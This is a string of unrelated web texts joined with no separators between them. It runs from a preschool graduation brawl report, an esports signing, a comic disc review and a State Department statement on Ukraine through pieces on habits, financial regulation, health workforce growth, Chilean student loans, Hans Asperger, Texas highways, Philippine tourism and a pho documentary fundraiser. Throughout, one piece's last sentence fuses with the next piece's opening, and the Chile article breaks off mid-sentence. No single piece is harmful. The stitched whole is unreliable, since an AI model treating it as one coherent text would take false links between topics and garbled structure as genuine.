EAGnews.org, an organization that advocates for education reform, first posted the video late yesterday and it's been picking up steam today. Essentially the video shows an all-out brawl at Weemes Elementary School in Los Angeles, except the ones shouting and fighting are not the kids, but a group of mothers. What's most striking is the screams from the children watching the fight.
As EAGnews says it's "ridiculous" and "a pathetic display of parenting and a miserable example for young kids.."
EAGnews reports that the fight started over the one cap and gown that all the graduating preschoolers had to share. The local CBS affiliate in Los Angeles reports that the school sent a letter home. The station reports:
"A letter from the school was sent to parents explaining the incident, officials said. Lynn D. Brown, the school's principal, wrote: 'It is unfortunate that adults chose to resolve a conflict in this way in front of our youngest boys and girls.' "Several witnesses told KCAL9 and CBS2 reporter Carter Evans that the fight was actually 'over a man.'"
A school district spokeswoman told the station that one woman suffered a cut to the lip, but no charges were filed in the incident.Cheers love, TSM is here
Today, we’re thrilled to announce the signing of the players ‘aimbotcalvin’ and ‘GaleAdelade’ in starting up TSM’s newest Overwatch division. Even prior to its official release, Overwatch has seen extreme popularity that has soared throughout the the last year. We are incredibly excited to finally be a part of the massive scene and are extremely pleased to have both Calvin and Gale represent us in the community. Both players have been signed as brand ambassadors and streamers, and they will officially be streaming under the TSM banner.
Both Calvin and Gale are well-known streamers who have exploded in popularity during the last several months. Both of them have consistently been extremely high rated on the NA solo queue leaderboard, with Calvin having finished top 20 in the last year’s seasons and Gale in the top 100. Calvin is known for his flexibility and excellent hitscan abilities while Gale is known for being a fantastic Ana player. We are extremely excited to be working with both of these players in the immediate future and wish them a warm welcome to the TSM family.
“I am an extremely huge fan of TSM. Seeing them grow from the start of League of Legends to what they have become now - I loved everything about it. TSM was living the dream life I always wanted to do. I was always looking forward to the next TSM Legends and I would watch every episode with my homies; it was fun times. There were a mix of orgs that wanted me, but I wanted to be the odd man out and be under TSM since they are not big in Overwatch. I want to make the best out of TSM Overwatch, and what it will have in store in the future :)”
‘aimbotcalvin’
"I have been a huge fan of TSM since the old League days and I couldn't be more proud to represent them in Overwatch. I told myself that if I was going to sign with an organization for streaming, I would only settle for TSM as only the best represent them. I’m really happy and excited to be a part of the team and will do everything I can to make TSM a big name on Overwatch."
‘GaleAdelade’I never thought I'd be here quivering, burrowed in the blackest crevice of my dwelling, frazzling with fright and scribbling this review. "The Aerobie Epic is just a myth," I'd heard from various voices before. But according to believers' claims, this disc could soar through time and space with the ravishing finesse of a raving gypsy's hips. Cautious whispers on the course warned of saucers spewing forth dark magic vortexes within the violent whirlwinds of a vicious "thumber" drive. I scoffed at such fanciful tales of plastic acrobatics and occultist wind sails. Superstitions cannot persuade me; I am a man of science, you see! But the same unyielding curiosity that brought you to this page led me to purchase one and see, just in case.
Thirty-seven suns have since succumbed to the horizon. My perception of this universe, and all the laws that make it one, has transformed irreversibly, I fear to say. The only scientific explanation for the flight path of this product -- a 500 foot cosmic pirouette -- is that which disconcerts my slumber every shivery night of the southern summer. I feel a dire responsibility to share the findings of my inquiry. Although all other discs, whose flights expire humbly at a mere 380 feet, are made of compact plastic polymers, the Epic almost certainly comprises antimatter.
Soon, undoubtedly, military machinery will exploit Aerobie's discoveries (i.e., those unveiled at the Epic's release). The only question now to ask is: how much time do we have left? Let us hope and pray that this technology is used for good, and never evil. For antimatter weaponized could end us all, efficiently, faster than light! Godspeed!!The U.S. Department of State (DoS) has released a statement on its official blog, compelling Russia to engage in a peaceful resolution of the crisis in Ukraine and refrain from further assistance of agression. In the post, the State Department sees no evidence that Russia has waned in actively supporting the separatist factions, and compels the country to “stop destabilizing Ukraine and occupying Crimea, a part of Ukraine’s territory.”
We assess that Russia continues to provide them with heavy weapons, other military equipment and financing, and continues to allow militants to enter Ukraine freely. Russia denies this, just as it denied its forces were involved in Crimea — until after the fact.
The statement goes further, expounding on and updating the situation in Rostov where previous reports by the Department and NATO exposed a buildup of main battle tanks and other heavy equipment being delivered to Russian militants in Ukraine.
The DoS says it is ‘confident’ that the Russian government is mobilizing even more tanks from old stock to the Rostov deployment site, and that tanks, artillery, and multiple rocket launchers have already been delivered – several of which were transferred this past weekend alone.
It also says that the number of vehicles at the site is ever increasing (roughly doubling) and that more advanced air defense systems are beginning to arrive. This of course would mark a departure from the previously listed Soviet-era stock. Separatist recruitment efforts have also stepped up, and are now seeking out volunteer operators to man these very air defense systems.
Rostov deployment site imagery, May 30
Recruitment of militants to fight in Ukraine is ongoing opposite its border, with the DoS explicitly stating that “Russia has allowed officials from the “Donetsk People’s Republic” to establish a recruiting office in Moscow,” while pointing out that many separatist leaders “hail from Russia and have ties to the Russian government.”
This all paints a telling picture of Russia’s continued policy of destabilization in eastern Ukraine.
Read the full article here
Since you’re here – we have a favor to ask. Russia’s hybrid war against Ukraine is ongoing, but major news agencies have gone away. But we’re here to stay, and will keep on providing quality, independent, open-access information on Ukrainian reforms, Russia’s hybrid war, human rights violations, political prisoners, Ukrainian history, and more. We are a non-profit, don’t have any political sponsors, and never will. If you like what you see, please help keep us online with a donation
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Tags: Rostov, Russia, Russian military, tanks, USA, War in the DonbasDavid Brooks: Anti-Pot Crusader And Perpetual Bar-Mitzvah Boy
The internet is all aflutter because New York Times bummer-columnist David Brooks got up on his soapbox/stack of phone books to announce to the world at large that, yes, he used to smoke pot (*ghasp*). But don’t worry – he’s outgrown all that sillyness (whew) so now we should all do like him and grow the fuck up (I’m paraphrasing)(Barely).
See, it turns out that back in the day, Davy and his friends were quite the choom gang. That is, until one of the group became “a full-on stoner” and everyone – seeing the error of their ways – immediately went to Jos. A Bank and bought themselves reasonably priced suit-and-tie combos or something.
Here’s the crux of Brooks’ morality tale, in which he Brookspounds (En; Verb – “The act of explaining what it’s like to be inside David Brooks’ head”) on Colorado’s newly-legal pot bonanza:
I’d say that in healthy societies government wants to subtly tip the scale to favor temperate, prudent, self-governing citizenship. In those societies, government subtly encourages the highest pleasures, like enjoying the arts or being in nature, and discourages lesser pleasures, like being stoned. In legalizing weed, citizens of Colorado are, indeed, enhancing individual freedom. But they are also nurturing a moral ecology in which it is a bit harder to be the sort of person most of us want to be.
The whole column is simultaneously silly in its pomposity, and boring in its predictability: Successful middle aged white guy takes stand against smoking dope in favor of “enjoying the arts” and “being in nature”? Color me shocked.
But wait – what’s this? A blast from Brooks’ smokey past? In a self-published piece entitled “I Smoked Pot with David Brooks,” writer/psychotherapist Gary Greenberg picks through the seeds and stems of Brooks’ essay, offering some crucial details David may have forgotten from his hazy youth.
And here all along I thought he quit because of that time we got pulled over by the Radnor cops in senior year right after we’d clambaked his Mom’s Vista Cruiser, and first thing the cop does after the smoke clears is look him right in his red, red eyes, and said, “I don’t suppose it would go over so good if I went over to 632 Haverford Road and told Mr and Mrs Brooks their boy was out here with his clique smoking pot.” I was so impressed with the way Dave pulled himself together then. He didn’t beg for mercy or fight with the cop. Somehow he knew exactly how to go all bar mitzvah boy, how to talk to authority, how to flatter and impress and toady, even stoned to the gills, like his inner Eddie Haskell was deeper down than the pot could get. And it worked. [Emphasis mine]
So, basically, this:
Greenberg has a history of taking direct, high-caliber shots at Brooks, so there’s some very legitimate skepticism over whether his ganja memories are true or just an eerily accurate imagining of what might have been. Still, the image of Brooks, stoned out of his gourd, doing his best to radiate “today I am a man” confidence under duress, is a pitch-perfect encapsulation of the columnist’s oeuvre.
That’s because, at his core, David Brooks is less “cultural critic” than he is Jacob The Bar-Mitzvah boy – nervous, awkward, and seemingly unable to decide if having a newspaper column is breathlessly thrilling, or utterly terrifying (either way, it’s something for which he often entirely unsuited). Brooks’ pot post reads like a Bar Mitzvah speech – a bad one – with a “when I was younger I did this, but now I’m a grown-up and I do that” moral you’re more likely to hear before a spread of whitefish salad than you are in conversation with actual thoughtful adults. The whole thing smacks of the sort of over-thought “take me seriously!” vibe commonplace among well-intentioned Bar Mitzvah speeches. The “let me prove to you just how much I am an adult” style so often used by Bar Mitzvah speakers given the title of adulthood without actual development to back it up.
His cardinal sin, though, isn’t one of simplistic conclusions (they often are) or dumb reasoning (whole lot of that too) – it’s that he, like many thirteen year olds, assumes a dull personal narrative is all the compelling evidence someone could ever need in order to see the totally obvious point he’s trying to make, which is (I think?) that he knows how to appreciate art and you idiots never will. In other words: “My Bar-Mitzvah Torah portion tells the story of Moses and the Israelites. It reminds me of the time I stopped smoking pot. I learned a valuable lesson: Smoking pot was bad for me and it’s bad for you too. Now I spend time in nature and so should you. I’d like to thank my Mom and Dad for all their encouragement, and my great aunt Ethyl for knitting me this sweater. Shabbat Shalom.”
Eventually, most Bar Mitzvah boys and girls realize that growing up means they don’t necessarily know best. Some, on the other hand, write for the New York Times.
Paul Krugman is off todayThe amount of time it takes for something to become a habit will vary depending on your source of information. Depending on who you ask, you can get answers anywhere from a week to a year. But the most popular answer is 21 days—-postulated in the 1960s by Maxwell Maltz, a cosmetic surgeon. But that number was taken as scientific maxim without ever really being tested, until recently. Recent research led by a team at the University College London think they have uncovered just how long (on average) it takes for something to become habitual. They do not think it takes 21 days to form a habit. They believe it takes an average of 66 days to create a habit. This number trumps the conventional 21 days by more than 3 weeks—so the idea that it takes an average of 66 days may be a surprise to many. So how did researchers get to this magic number?
This number came from a 2009 study in which 96 participants reported to researchers how long it took them to develop a new habit to the point where it becomes automatic. The study looked at how long it took to automate a daily routine that involved eating, drinking, or exercise. An example of an activity reported in the study would be something along the lines of waking up at 6 daily for breakfast, drinking 2 cups of water after lunch, or doing 50 push-ups right after waking up.
Each participant was allowed to track only one routine during the study. The researchers did the math of all the reported numbers and found that the average was 66 day. But the study did acknowledge that the days it takes to truly establish a habit—a routine and habitual action without resistance or second-thought—varied greatly.
For some, habits formed in as little as 18 days and for others it took as long as 254 days. There are of course obvious flaws in the study; the numbers are self-reported and it was only 96 participants in the study. Thus the numbers may be skewed by those who under-report or over-report and the results may not be representative of the general population. However, the researchers leading the study believe that the number is a close to a true representation of the general public.
The Foundation of Acquiring a Habit
At its very core, habits are routine, automatic, and sequential movements of our bodies. After all, all of our “habits” that we seek to create involve some form of movement of the body—whether it is writing, reading, eating, or exercising. The brain likes to take a sequence of actions and convert them into an automatic routine, where it goes into the unconscious portion of the brain. For instance, brushing your teeth is a sequence of complicated motor skills that you do everyday without consciously thinking about each step. The habit of brushing your teeth is a learned one, just like any other habit. The act of brushing your teeth every morning was made into a routine when you were a child. And as it was done repeatedly, it became automated.
This automation and the automation of many other habitual activities, is stored in the basal ganglia of your brain. The basal ganglia, located in the telencephalon region of the brain, plays an important role in the development of emotions, memories and pattern recognition. More than that, basal ganglia also play an important role in movement control, cognition, and reward-based learning.
***
How easy or hard it is to form a habit really depends on the “achievability” of the habit and the person’s personality. For those who have great prospective memory (the ability to remember to do things in the future) or those who are able to establish routines easily, creating habits come easier. For those that are impulsive or are not used to having routines, establishing habits will be harder. In addition, those who will try to create one habit at a time will have an easier time. So if you are finding that it has been a few weeks and it is still extremely hard to create a habit, it is not because you have no will—it is because the habit has not had enough time to become ingrained in your brain yet. To most people, habits aren’t created in a month. In actuality, it takes a little over two months to create habit, according to the study referenced above. But once a habit is formed, the action will become automatic and second-nature. But until then, you will have to consciously try to repeat the action everyday.
Suggested Books from Amazon:
The 7 Habits of Highly Effective People by Stephen Covey
Making Good Habits, Breaking Bad Habits by Joyce MeyersPage Content
Washington – The Financial Stability Oversight Council (Council) today published its 2017 annual report. The report describes significant financial market and regulatory developments, potential emerging threats to U.S. financial stability, recommendations to promote financial stability, and the activities of the Council. The report was developed collaboratively by the members of the Council and their agencies and respective staff and was approved unanimously by voting members of the Council.
The report notes that the U.S. financial regulatory system should promote economic growth by preventing financial crises and also minimizing regulations that increase costs without commensurate benefits.
"The annual report is the culmination of a productive and collaborative process among all of FSOC's members," said Treasury Secretary Steven T. Mnuchin. "We received valuable input from the other agencies, and I look forward to working with them on implementing the recommendations."
Additional recommendations in the annual report include:
The Council supports the creation of a private sector council of senior executives to collaborate with regulators and focus on the ways that cyber incidents could impact businesses.
Financial regulators should ensure that financial institutions have sufficient capital and liquidity to reduce their vulnerability to economic and financial shocks. Additionally, regulators should continue to monitor and assess the impact of rules on financial institutions and markets.
Regulators should continue to evaluate whether existing rules and standards for central counterparties and their clearing members are sufficiently robust to mitigate potential threats to financial stability.
The Securities and Exchange Commission should monitor and assess the effectiveness of money market mutual fund reforms that were implemented last year.
Regulators and market participants should complete work on alternative reference rates, and take appropriate steps to mitigate disruptions associated with the transition to a new reference rate.
Regulators and market participants should continue work to improve the coverage, quality, and accessibility of financial data, as well as data sharing between and among relevant agencies.
####The number of health care practitioners educated in the United States has grown dramatically over the past decade. This post presents data on four key health care clinicians: nurse practitioners (NPs), pharmacists, physician assistants (PAs), and registered nurses (RNs). In some cases, the pipeline for these clinicians has more than doubled in recent years. Even if there is no further growth in the educational pipeline today, the increases in educational capacity, if continued, will lead to an increase in the available supply each year for the next 30 to 35 years.
If these practitioners are fully integrated into the delivery system and allowed to practice consistent with their education and training, this growth can help assure access to cost effective care across the nation. On the other hand, because of the 30 to 35 year tail in the growth of practitioners, there is a danger that this rapid growth could also lead to significant surpluses, which would have many negative consequences.
The Recent Growth
The figures below use slightly different metrics to measure growth in the pipeline, but the patterns are consistent across professions: steady, strong growth.
NPs: Figure 1 presents the number of new NP graduates as reported by the American Association of Colleges of Nursing (AACN) and the National Organization of Nurse Practitioner Faculties (NONPF). Not all new NPs will go on to practice as an NP, as some may have been working as a registered nurse (RN) during their education and some of these NPs may continue in an RN position. Others may go into administrative positions. Nevertheless, the graduation figures reflect the significant growth in the pipeline from 6,611 in 2003 to 16,031 in 2013, an increase of 142 percent over the decade.
Figure 1
PAs: Figure 2 presents the number of PAs passing the examination required for certification by the National Commission on Certification of Physician Assistants (NCCPA). In as much as almost all PAs that want to practice must first be certified by the NCCPA, their data on the number of newly certified PAs is a very good measure of the pipeline. The number of newly certified PAs went from 4,337 in 2003 to 6,607 in 2013, an increase of 52 percent. The annual number of new PAs will certainly continue to grow, as the number of PA programs increased from 154 in 2010 (likely to have produced the 2013 graduates) to 187 in early 2014. Another 65 applications for new programs are currently under review.
Figure 2
Pharmacists: According to the American Association of Colleges of Pharmacy (AACP), the number of pharmacy graduates was 7,488 in 2003. By 2013, it was estimated that the number of pharmacy graduates grew to 13,355, representing an increase 78 percent from 2003-2013. The AACP projects the number of annual graduates will grow to 14,930 by 2015.
Figure 3
Registered Nurses: To become licensed as a registered nurse, all applicants are required to take and pass the National Council Licensure Examination for Registered Nurses (NCLEX-RN). According to the National Council of State Boards of Nursing (NCSBN), which administers the examination, 76,688 U.S. nurse graduates took the NCLEX-RN for the first time in 2003. This number grew to 155,018 in 2013, an increase of 102 percent.
Figure 4
The Long Tail of Pipeline Increases
While increases in enrollment are usually in response to current or anticipated near term needs, as noted above, the impact can be a steady growth of the profession for the next 30 to 35 years. Consider a hypothetical occupation with 330,000 practitioners each working 33 years on average (say from age 25 to 58) in a steady state with 10,000 retirees and 10,000 new entrants each year. If you double production to 20,000 because of a short term need, you have to be aware that for each of the next 33 years, 10,000 will be retiring but 20,000 will be entering. Thus, an increase in educational production in 2014, if sustained, will lead to an increasing supply through 2047!
The Very Good News
These increases have the potential to help the nation meet its health care needs over the next few years. We need to ensure these practitioners are allowed to practice consistent with their education and skills and remove unnecessary or inappropriate barriers to their effective use. We also need to make sure they are effectively integrated into the delivery system and can work as full members of the care team.
There is no doubt that these practitioners will be available to help meet the needs of a growing and elderly U.S. population. Based on this data on the pipeline, the number of new NPs, PAs and pharmacists in 2013 was in the range of 36,000 and growing. This compares to an estimated 30,500 new physicians entering the pipeline in 2014.
The Danger
The danger is that these growth rates could lead to large surpluses. In the early 1980s and 1990s, the nursing job market became saturated and new RNs had a very difficult time finding jobs; as a result, applicants and enrollment plummeted significantly over a 5 to 7 year period. Some programs ended up closing. This in turn contributed to new rounds of shortages. This cycle of over- and under-production is very costly to individuals and institutions.
Some of this fluctuation reflects the open market, where all producers respond to the same signals of either a shortage (add educational capacity); or a surplus (reduce capacity). More frequent and timely assessments of gaps and projections might moderate the upward and downward swings, but it can be difficult to change the prevailing thinking of either a surplus or a shortage. Many people had a hard time understanding how health planners were worried about a physician shortage (1950 to 1980), then a physician surplus (1980 to 2000) and then again a shortage (2000 – today). In fact, the health workforce planning community was mocked at times for the apparent reversal in direction. However, the change in direction does not necessarily mean that the forecasters got it wrong: in some cases, the educational community not only responded, but over-responded.
There are times the nation should claim success. For example, the nation’s educational programs responded very effectively to the nursing shortage: they more than doubled production in 10 years! They should be commended. But after many years of public concerns of a shortage, it may be difficult to change our thinking until new nurses can’t find jobs.
Perhaps if Congress would fund the National Health Care Workforce Commission authorized by the Affordable Care Act, we would have a national body to advise when it is time to moderate our growth or shrinkage. This wouldn’t be a panacea, but it could certainly help.At private US colleges, the weighted average cost for tuition and fees is $32,405, according to the College Board, while members of the class of 2015 graduated with more than $35,000 in student loans, on average, the Wall Street Journal reported.
Student debt has become a policy issue in the US presidential campaign, but it’s not clear how the system should work. Should public-college tuition be completely free, or available to students without their taking on any debt? Should states, rather than the federal government, handle college finance, or should we steer more students away from college and toward less-expensive vocational programs?
Recommended reading A winning football team can improve a university’s science research
A winning football team can improve a university’s science research Universal basic income isn’t a magic bullet— but it’s a start
How toxic waste affects children’s education
To understand how the United States could or should redesign college finance, look south, to Chile. To be sure, Chile does not greatly resemble the US. The South American country has a population of just 18 million, rather than the US’s 323 million. A dictatorship ruled the country between 1973 and 1990, and its economy is heavily tied to commodities, particularly copper. But when it comes to higher education and affordability, Chile and the US face many of the same challenges in trying to make college accessible and affordable to the middle class.
Chile, however, has made big higher education reforms. In 2006, its government greatly expanded the national student-loan program, in a bid to make college more affordable. When many students graduated with big debts and no jobs (and, in many cases, no degrees either), tens of thousands of people mobilized to protest, occupying buildings and schools. In one case, a performance artist burned tuition contracts, essentially freeing the holders of their debts.
The country is smaller than the US and university admissions outcomes are more neatly determined, and it’s possible to systemically link records of college applicants to earnings outcomes. All of this makes Chile an ideal environment to study educational reform, says Chicago Booth’s Seth Zimmerman, who is one of several researchers focusing there: “Institutional features of the way the Chilean higher-education system operates presented an opportunity to learn about how things were operating in both countries in a way you couldn’t do in the US.”
Remove students’ credit constraints
Say you have a student considering college. Which will more greatly affect whether she goes for that degree: her upbringing, or her ability to pay for school?
Pedro Carneiro, now of University College London, and James Heckman, the University of Chicago’s Nobel Prize–winning economist, argued in research from 2003 that what matters most is upbringing. Family factors such as income and background affect whether a student pursues higher education, they say; students from well-off families accumulate skills and knowledge that they use to get into and graduate from college. In this construct, affordability is a secondary factor. “At most 8 percent of American youth are credit constrained in the traditional usage of that term,” they write.
But Chile’s decision to make loans widely accessible offered a way to revisit those conclusions, says Alex Solís, a Chilean economist who teaches at Uppsala University in Sweden. “For me it was kind of obvious to see that people [in Chile] were credit constrained and that’s why they didn’t invest optimally in college education and human capital more generally,” he says.
Traditionally, in Chile, the rich could afford tuition, the poor qualified for subsidized loans, and students in the middle of the income spectrum had little access to grants or affordable loans. Student-loan reforms aimed to change that, offering a social scientist’s favorite experimental setup: a natural treatment group (the students who qualified for the loans) and a control group (those who didn’t). Because cheap government loans went to students who scored above a defined level in the admissions tests, Solís was able to look at data from students who scored just above and just below the cutoff. Students above the cutoff had access to credit, while those below had no ability, functionally, to borrow for college. If students just above the cutoff enrolled in college at a statistically significant higher rate, it would indicate that the availability of credit played into their decision.
The cutoff for the loan program was set at the mean score of students from the poorest fifth of families, and the loans were open to all students except the richest 20 percent. Poor students typically didn’t have access to private loans, which are available in Chile only to elite students who score at the top of the test rankings.
According to Solís’s data, the college-enrollment rate just above the cutoff was double what it was just below the cutoff. After the government increased loan access, enrollment rates were the same in every income quintile, he finds. “Access to loans explains all the college enrollment gradients by family income that exist around this cutoff,” Solís says.
Solís argues that a policy providing more loans to qualified students will allow them to invest optimally in education, increasing their lifetime earnings and affecting their children as well as the GDP. “More human capital implies higher growth rates,” he says.
Moreover, his findings indicate that adding grants to the mix won’t necessarily improve students’ educational attainment. Some students who scored high enough on the admission test qualified for grants in addition to loans. But those grants had no impact on whether or not the students enrolled in college. This suggests that if loans made it possible for students to attend college, those who wanted to attend would do so, regardless of the cost. “That means the main problem here is credit access,” Solís concludes.
Tie education to outcomes
Regardless of how students pay for college, however, they want their investment to pay off. It can help to guide students toward degrees and professions that pay more, other research suggests. “It’s not that we don’t want students to be poets; it’s that we think students who choose to be poets should know what the career trajectory for that field typically looks like,” Zimmerman says.
Brown University’s Justine S. Hastings, Princeton’s Christopher Neilson, and Zimmerman worked with Chilean authorities to learn more about how much some degrees are worth in the labor market, and whether that information could sway students’ decisions of what to study. To do this, they needed considerable amounts of data to see who was going to college, how those students performed in high school, where they enrolled in college, how quickly they graduated, and what their income was after graduation. Many of the required records were on paper and had to be digitized. Some of their research was done with the National Education Council’s Anely Ramirez.
The researchers began by looking |
relationship to the autism spectrum. In 2010 there was a majority consensus to subsume AS into the diagnosis "Autistic Spectrum Disorder" in the 2013 DSM-5 diagnostic manual.[16] The World Health Organization's ICD-10 Version 2015 describes AS as “a disorder of uncertain nosological validity”.[21]
In his 1944 paper, as Uta Frith translated from the German in 1991, Asperger wrote, “We are convinced, then, that autistic people have their place in the organism of the social community. They fulfill their role well, perhaps better than anyone else could, and we are talking of people who as children had the greatest difficulties and caused untold worries to their care-givers.”[22] Based on Frith's translation, however, Asperger initially stated: “Unfortunately, in the majority of cases the positive aspects of autism do not outweigh the negative ones.”[22] Psychologist Eric Schopler wrote in 1998:
Asperger's own publications did not inspire research, replication, or scientific interest prior to 1980. Instead, he laid the fertile groundwork for the diagnostic confusion that has grown since 1980.[23]
Since 2009, Asperger's birthday, 18 February, has been declared International Asperger's Day by various governments.[24]
Nazi involvement [ edit ]
Edith Sheffer, who specializes in modern European history, wrote in 2018 that Asperger cooperated with the Nazi regime, including sending children to the Spiegelgrund clinic which participated in the "euthanasia" (killing) program.[25] Sheffer wrote a book further elaborating on her research called Asperger's Children: The Origins of Autism in Nazi Vienna (2018).[26][27]
Another scholar and historian from the Medical University of Vienna, Herwig Czech concluded in a 2017 article in the journal Molecular Autism, which was published in April 2018:
Asperger managed to accommodate himself to the Nazi regime and was rewarded for his affirmations of loyalty with career opportunities. He joined several organizations affiliated with the NSDAP (although not the Nazi party itself), publicly legitimized race hygiene policies including forced sterilizations and, on several occasions, actively cooperated with the child ‘euthanasia' program.[28]
References [ edit ]A sweeping revision of state highway plans adds nearly $9 billion in new funds for improving Texas roadways, including a $1.32 billion infusion in the Houston area for a major overhaul of Interstate 45 and nine other projects.
Projects along Texas 36 in Fort Bend and Brazoria counties and Texas 105 in Montgomery and San Jacinto counties are also included in the unified transportation plan approved Tuesday in Austin by the Texas Transportation Commission.
"This is a major step forward," said Commissioner Bruce Bugg.
The newly approved plan adds 230 projects and $8.9 billion in funding statewide.
The plan - updated annually in phases - guides all state highway, maritime and aviation spending. Projects across the state show up first in the plan, with the money for them tied to upcoming fiscal years for the Texas Department of Transportation.
All the projects are dwarfed by the I-45 project. Last month, officials called it the type of project that comes around once every 50 years.
"We are trying to make long-term improvements, and we believe we've made them," said Quincy Allen, TxDOT Houston district director.
In the Houston area, the updated plan marks a massive increase in highway investment, primarily through a windfall of money from two voter-approved highway spending proposals in 2014 and 2015 that accelerated the redesign of Interstate 45 through Houston's central business district.
"Houston's problems are in the downtown area, first and foremost," said Lauren Garduno, TxDOT's director of project and planning and development.
Construction is expected to start in late 2020 on the first of seven separate projects that will realign I-45 along downtown's eastern side, parallel to Interstate 69, also known as U.S. 59 in the Houston area.
The first projects will reconstruct I-69 between Spur 527, which leads into Midtown, and I-45, including the interchange with Texas 288. That will be followed by a rebuild of I-45 at its interchange with I-69.
Combined, the two interchanges - technically four projects on TxDOT's books - are expected to cost nearly $1.7 billion. That is more than half the $3 billion cost of remaking I-45 around downtown, which includes removing the segment of I-45 along the Pierce Elevated.
Constant chokepoint
The area south of the central business district is by many measures the worst chokepoint in the state. It is one of only two places in Texas - the other being downtown Dallas - where three of the 15 most-congested road segments intersect. Harris County Judge Ed Emmett frequently notes I-69 is jammed both inbound and outbound during most of the workday and commuting periods.
For drivers, the delay at the freeway crossings and along the interstates is a near-constant nightmare.
"It adds 30 minutes, minimum, to my round-trip," Paul Jacoby said of his commute from Braeburn, southwest of Bellaire, to downtown Houston.
Multiply that by the estimated 170,000 vehicles daily using I-69 between Texas 288 and I-45, and it translates to more than 21 million lost hours along that single stretch of freeway.
Easing congestion
The intensity of time lost in major metro areas led state officials, at the direction of Gov. Greg. Abbott, to focus $1.3 billion annually on congestion-relief projects in Houston, Dallas, Fort Worth, San Antonio and Dallas. Houston will get about one-third of those funds over the next decade as part of its overall allocation under the unified plan.
Traffic in the five metro areas is expected to worsen as Texas balloons from a population of 27 million in 2015 to an estimated 54 million by 2050.
"We know we have congestion problems today, but we are mindful of those new Texans joining us in the future," Bugg said earlier this month during a discussion with reporters of the initiative, called Texas Clear Lanes.
That rationale led TxDOT districts to accelerate long-sought projects, such as the I-45 project in Houston and other high-priority projects outside Loop 610.
Unlike the downtown Houston project, which will wait years to start, some of the work will start by the end of the year on three key projects, announced in January 2016.
Next month, TxDOT is scheduled to open bids on the next phase of widening I-45 in League City, continuing a decade-long slog toward Galveston, making the freeway four lanes in each direction with frontage roads.
Typically, construction begins about three to four months after bids are opened. If that timing holds, two months after I-45 work moves south, drivers frustrated on their way to Austin when westbound Interstate 10 drops to two lanes in Brookshire will start seeing orange cones. Crews will widen the freeway to three lanes in each direction to the Brazos River.
Just before or after the holiday season, work will begin on a third project to reconstruct some of the connections where I-69 crosses Loop 610 near Uptown, as well as rebuild Loop 610 through the intersection.
TxDOT expects all of the projects to finish in 2021, around the time downtown interchanges will start to see construction.
Funding uncertain
As they cheered the upcoming investments, state transportation officials also sounded a note of caution.
While the commission can program money, they do so with what state budget writers - members of the Legislature - provide in upcoming budgets. Some state lawmakers have already discussed holding back on some of the spending related to Proposition 1, which voters approved in 2014, directing money from the state's so-called rainy day fund.
Uncertainty also clouds federal money, another major source of how Texas widens roads, said transportation commissioner Jeff Austin.
Transportation commissioner Victor Vandergriff urged officials to keep in mind it will take many decisions in Austin and potentially in local communities to keep many projects moving toward construction, and not all of them will make it.
"The facts are, there are never enough dollars out there for every project, and we are going to be limited at the state level with what we can do," Vandergriff said, noting a host of funding alternatives and considerations about how to expand roads.
"We know we are going to have to address that," he said. "Not us, the state of Texas."MANILA, Philippines - To make it more in tune with the government’s campaign for change in the country, the Department of Tourism will come up with a new slogan next year to replace the current theme, “It’s More Fun in the Philippines.”
Tourism Secretary Wanda Teo said yesterday her office is now working with several advertising companies to conceptualize the new catchphrase that should have something to do with President Duterte’s “change” theme.
The government has been using the slogan “It’s More Fun in the Philippines” since it was introduced in 2012.
Teo said the new catchphrase would most likely be launched in mid-2017 and not immediately after the country hosts the Miss Universe pageant in January.
“We have a new Philippines. So, the slogan will focus more on ‘change’,” she added.
On the need to change the slogan, Teo emphasized that it has to be more attuned to the current administration’s promise of change by ridding the government of corruption, eradicating the drug problem, maintaining peace and order and other programs.
Advertising companies, she added, were asked to submit their ideas and concepts.
Asked if the anti-illegal drugs war of the Duterte administration would also affect tourist arrivals in the country, Teo said it would not impact greatly.
“The European ambassadors also raised that concern. If they (foreign tourists) are not committing any crime, why should they be afraid to come to the Philippines?” Teo stressed in yesterday’s press briefing in Malacañang.
She said tourist arrivals in the country, as of July, have reached about three million.
Her office targets six million tourist arrivals by yearend and 12 million by 2022.
“We must shoot for the stars and maintain an upward trend in terms of visitor arrivals and revenues for the benefit of all stakeholders,” Teo added.
International tourist arrivals in the country generated P127.37 billion as of June 2016, a 14.7 percent increase compared to the same period in 2015.
For June alone, the number of Koreans visitors reached 686,118 while 454,170 came from the US.
Visitors from China reached 340,958 while those from Japan numbered 260,656.Follow the Phocumentary on Facebook, Instagram, or Twitter!
The Story
Phở is the delicious Vietnamese comfort food taking the world by storm. With a new phở restaurant popping up seemingly every week in the United States, we wanted to know the story behind this simple, yet complex dish.
Pho - The noodle soup taking over the culinary world.
As we began our investigation we found that phở's history closely mirrors the complicated history of it's homeland - Vietnam.
It is believed that phở was born during the french colonial rule of Indochina and subsequently evolved in the 20th century into a dish whose official preparation and ingredient list became as divided as the country itself.
After the Vietnam war (The American War as it's known in Vietnam), roughly 2 million Vietnamese fled their home, spreading across the globe and taking phở with them.
Many Vietnamese decided to open restaurants as a way to plant their roots and build a life in their new countries. This exposed people across the globe to a new type of comfort food - phở.
Aaron Le's family immigrated to Denver, CO and started Pho 95
Now, just as the Vietnamese have adapted over generations to their new homes, phở has evolved and adapted to it's surroundings. We see this with the emergence of new fusion dishes like pho dumplings, pho burgers, and a cult-like subculture that's taken on a life of it's own.
Phở's rich history is what's pushed our original idea for the Phocumentary to evolve into a concept that will include not only the origin story of phở but also the story of the resilience of the Vietnamese people and their creativity in adapting to any situation thrown their way.
That's why we've come to Kickstarter. So we can tell the full story of Phở and show the impact of Vietnamese history, culture, and cuisine on the world.
It's a story that can't simply be told, it has to be shown.
Rewards
We've got some great rewards for you guys! Our personal favorite is the poster (designed by Yao Yu) and blu-ray combo package. Of course, we also love the private screening at your favorite phở restaurant!
Artwork by Yao Yu
We appreciate any amount that you can afford to donate to the campaign which is why we've made it so that everyone who donates $5 or more will receive a digital copy of the final film!
We're excited to announce new rewards!
New Reward #1
The first new reward is a $25 level reward that includes a custom wooden 'Phocumentary' chopstick set, a porcelain soup spoon, and a pho recipe card!
New Reward #2
Your choice of two different shirt designs or a unisex tank top design. You can get one of these awesome shirts by backing at the new $40 reward level or by simply adding $40 to your existing pledge!
New Reward #3
Chasing Phở book! Part photo book, part cookbook, and part travel journal. Chasing Phở will feature photos, recipes, and essays from our journey from north to south Vietnam in June.
Who Are These Crazy Guys?
Freeman is a curiosity driven Storyteller and Entrepreneur with a decade of experience in multimedia publishing and digital marketing. For the past two years he's been creating content for various startups.
